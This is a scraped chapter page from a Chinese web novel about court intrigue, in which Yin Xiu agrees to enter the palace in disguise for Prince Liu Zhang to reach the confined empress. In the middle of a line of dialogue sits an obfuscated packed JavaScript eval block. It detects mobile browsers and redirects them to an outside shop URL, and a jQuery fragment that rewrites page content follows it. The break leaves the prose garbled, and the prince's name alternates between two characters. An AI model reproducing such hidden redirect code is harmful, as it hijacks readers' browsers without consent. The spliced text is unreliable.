默认冷灰
24号文字
方正启体

26. 命数已定(三)

作者:辣椒小七本书字数:K更新时间:
    太后不解地望着她,道:“你这孩子乱想什么呢?你皇兄是这宫里的天,有他在,出不了岔子!”


    刘元嘉蹙起了眉头,道:“母后,您当真觉得,一切如常么?”


    太后道:“你这话是什么意思?”


    刘元嘉摇摇头,道:“我不知道该怎么说,也许的确是我多想了。”


    太后为她添了件披风,道:“你们年轻人就是穿得太少,身上冻着了,这脑子里就会乱想,穿暖和些就好了。”


    刘元嘉把头靠在窗边,望着不远处阴识坐在马上的身影,思绪也渐渐飘远了。


    *


    沈确望着蹲在院中集雪的阴秀,眼底不觉染上了一层温润的潮气。


    若是这一刻,就永远停在这一刻……


    他愿意用一切去换。


    “咳咳”,他轻声咳嗽着,见阴秀望向自己,忙清浅一笑。


    阴秀忙捧着手中的罐子走了过来,一双杏眼清澈见底,担忧道:“外面冷得厉害,快回屋里去。”


    沈确笑着摆摆手,道:“不要紧的。”


    阴秀刚要开口,便听得院外传来响动,她眼底顿时掠过一抹鹰隼般的锐利机敏,在回头的一瞬间,又很快恢复了一贯的柔和温润。


    刘璟踏雪而来,素白的大雪之下,他倒比枝头斜着的寒梅更好看些,俊美的面容,深不见底的眸子,还有唇边的三分讥诮,仿佛世间万物皆在他掌中。


    阴秀眯了眯眼睛,她实在看不上他这种调调,可还是耐着性子挤出一抹笑来,道:“端王殿下怎么到了?”


    沈确强忍着咳嗽,行礼道:“端王殿下。”


    刘璋摆了摆手,淡淡道:“本王若不来,阴姑娘是打算此生不踏入端王府邸么?”


    阴秀笑着道:“王爷的府邸倒不难去,只是我素来骨头硬,说不了软话。想来定会惹怒王爷,还不如不去。”


    “今日太后等人已启程了,由你兄长阴识护送。”刘璋冷冷甩下一句话,便朝着屋子里走去。


    阴秀和沈确也跟着他一道走了进去,阴秀在他身后几步的位置,道:“我听说了,那位阴皇后倒比我有本事多了,阿兄如今已是执金吾了,他一身抱负,终于有实现的机会了。”


    刘璋道:“她未必比你有本事,只是比你想求的多。”


    阴秀道:“王爷怎知?也许我想要的更多。”


    刘璋回过头来看向她,道:“功名利禄你一概不要,本王倒想问,你真正在意的是什么?”


    阴秀看了沈确一眼,正要开口,便听得刘璋道:“不必说了。”


    这人真怪……


    阴秀腹诽着,将屋内的火生得更旺了些,道:“你们坐着说话,我将雪水煮一煮,烹茶给你们喝。”


    沈确将主位留给刘璋,自己则蹲在阴秀身边一边捡着柴火,一边道:“王爷不知道,阿凝煮的桂花龙井堪称天下一绝,桂花都是秋日里存下来的,水要用雪水。”


    阴秀笑着道:“这算什么?等夏日里我做蜜桃乌龙给你喝,再放些冰块,真是绝好的享受。”


    她说着,抬手蹭了蹭鬓边的碎发,不意在脸角蹭出一块黑来。


    刘璋叹了口气,走到她身边用帕子仔细擦着她的脸,一下一下,直到擦干净,他才停下来。


    阴秀和沈确都瞪大了眼睛看着他,道:“王爷,你……”


    刘璋讪讪地避过头去,轻咳了一声,道:“本王见不得脏东西。”


    “你说谁脏东西!”阴秀作势就要去打他。


    沈确赶忙拦了下来,郑重道:“王爷,男女授受不亲,还请王爷顾念阿凝的名声。”


    刘璋摆了摆手,缓缓站起身来,道:“本王打算三日后离京,阴姑娘可要随本王一道?”


    阴秀站起身来,狐疑地看着他,道:“王爷会这么好心?”


    沈确道:“王爷是正人君子,自然不忍看阿凝一人颠沛流离。”


    刘璋道:“沈大人也不必给本王带什么高帽子,本王确实有一事,要请阴姑娘帮忙。”


    “何事?”阴秀望向他,道:“王爷既肯帮我这个忙,我再没有什么不肯的。”


    刘璋浅笑一声,道:“当真?”


    阴秀点点头,道:“我这个人不答应也就罢了,一旦答应,就绝不会反悔。”


    刘璋道:“今日晚些时候随本王入宫。”


    “你疯了!”阴秀厉声道:“这种自投罗网的事我不会做!”


    沈确也忙道:“此事太过凶险,还请王爷三思。”


    刘璋冷笑一声,凑到阴秀耳边,道:“事关崔发,你可愿随本王赌一把?”


    “崔……”阴秀一怔,道:“你……”


    “就是你想的那样。”刘璋向后退了一步,含笑望着她,道:“晚些时候,本王派人来接你。”


    见阴秀没有开口拒绝,他很满意地笑了笑,拂袖朝外走去。


    沈确道:“王爷,您还未吃茶。”


    刘璋笑笑,道:“以后有得喝呢。”


    见他离开,沈确赶忙走到阴秀面前,道:“此去凶险异常,你千万当心。宫门下钥之后我无法入宫……”


    “子陵,你不问我,为何会答应他么?”阴秀看向他。


    沈确笑笑,道:“你既做了决定,自有你的道理。”


    “你不劝我?”


    沈确道:“我信端王的本事,更信你的能力。更何况,你做了决定的事,什么时候改过?”


    阴秀从未被人如此坚定地信任过,她不觉红了眼眶,道:“那你不问,我为何要去新野?”


    沈确笑着摇摇头,道:“你自有你的道理。”


    “你就不怕我是为了……”


    “我有我要守的信义,你有你要做的事,你没有逼我违背信义,我也不会劝你放弃你的坚持。”他说着,伸手揉了揉她的发顶,道:“无论如何,我总在你身后。”


    哪怕有一天,你站在那个人的对立面。


    哪怕那个人,是我的君,我的主。


    阴秀的声音有些酸涩,道:“子陵,多谢你。”


    谢谢你如此相信我,在陌生的时空,让我感受了现代社会所不可能拥有的真诚和温暖。


    *


    约么黄昏的时候,刘璟的车驾停在了沈府门前。


    阴秀戴着帷帽,利落地登上了马车。


    “换上罢。”刘璟道。


    阴秀将帷帽摘下来,才发现一套宦官的衣服正整整齐齐地放在位置上。


    阴秀也不啰嗦,直接将衣裳套在身上,她一边盘着发髻,一边道:“说吧,到底要我做什么?”


    “去椒房殿。”刘璟望着她的眼睛。


    阴秀手上的动作一顿,道:“然后?”


    刘璟有些诧异地望着她,道:“你居然没有骂本王?”


    阴秀道:“我早料到没好事,这件事尚且在能接受的范围内,不算唐突。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870325|190374||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你若是要我去未央宫……”


    刘璟好整以暇地看着她,道:“你要如何?”


    阴秀道:“我就杀了你。”


    刘璟轻笑出声,道:“阴姑娘,本王觉得你很有意思。应该说,是越来越有意思了。”


    阴秀道:“我不喜欢话说半句的人。”


    刘璟敛了笑意,道:“本王要你去找皇后,她如今被禁足在椒房殿中,守宫的侍卫是本王从前的下属,可里面有星罗和云织两个宫女守着,本王没有办法,只能找你。”


    “皇后为何会被禁足?又为何,只有星罗和云织守着她?”


    “她有了身孕。”刘璋淡淡道。


    “这么快?”阴秀倒没想到,刘昀的动作如此迅速。


    “是崔发的。那个女人,原本是崔发的妻子。”刘璋直截了当地答道。


    “什么!”阴秀几乎惊得说不出话来,道:“刘昀知道么?”


    不,他一定知道!


    他甚至还知道,这个女人不是她!毕竟三个月前,她还好端端地在宫中,怎么可能有旁人的孩子!


    他只要起了疑心,他只要去查,没有什么查不出来的。


    甚至,他会知道这个女子是刘璋找来的,会知道她是崔发的女人,会继续去查找自己的下落。


    所以,历史上也是这样么……


    所以,刘昀无法容忍这样的事……


    所以,这个阴皇后,注定会难产而亡。连孩子都无法活下来。


    原来是这样!


    连她的出逃,都是历史设计好的。


    她的出逃没有改变历史,反而成全了历史,只是可惜了阴皇后的一条性命。


    可她是真正的阴秀啊!是阴陆和阴夫人的女儿啊!她怎么可能眼睁睁地看着她去死?


    “要我怎么做?”阴秀的声音有些发颤。


    刘璋道:“想法子从她手上要到一件信物。有了这个信物,崔发才会说实话,才会给本王本王想要的东西。”


    “她怎么可能给我?”


    “你可以哄骗她,比如……”


    “比如,我会救她出来?”阴秀眯着眼睛,流露着显而易见的鄙夷。


    刘璋的面色微微有些不自然,浑不在意道:“随你怎么说。”


    “我做不到。”阴秀坦然道:“我不可能给她希望,又让她陷入更深的绝望。更何况……”


    她没说下去,她不会告诉他,阴皇后才是阿爹、阿娘真正的女儿。


    “收起你的道德感。”刘璋淡淡道,“她只不过是一个不相干的女人,一个贪慕虚荣的女人。如今的一切,都是她咎由自取。”


    “不相干?你利用了她,我借了她脱身,我们两个谁都不能说是与她毫不相干!”


    “那又如何?”刘璋坦然道,“本王自问不是什么好人,你也不算干净。”


    “我要知道,崔发手里的东西到底是什么。”阴秀道,“我要知道,那东西,值不值得一条人命。”


    “本王不知道。”刘璋不加掩饰道:“本王对那东西根本不感兴趣,本王只知道,那东西是王莽交给他保管的,陛下颇为看重。而陛下看重的东西,不会是凡品。”


    刘昀看重的东西……


    “那东西在给刘昀之前,能否借我一用?”阴秀突然开口。


    “你与陛下,还真是出奇的相似。”刘璋怒极反笑。


    一样的对那东西感兴趣,一样的利己。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)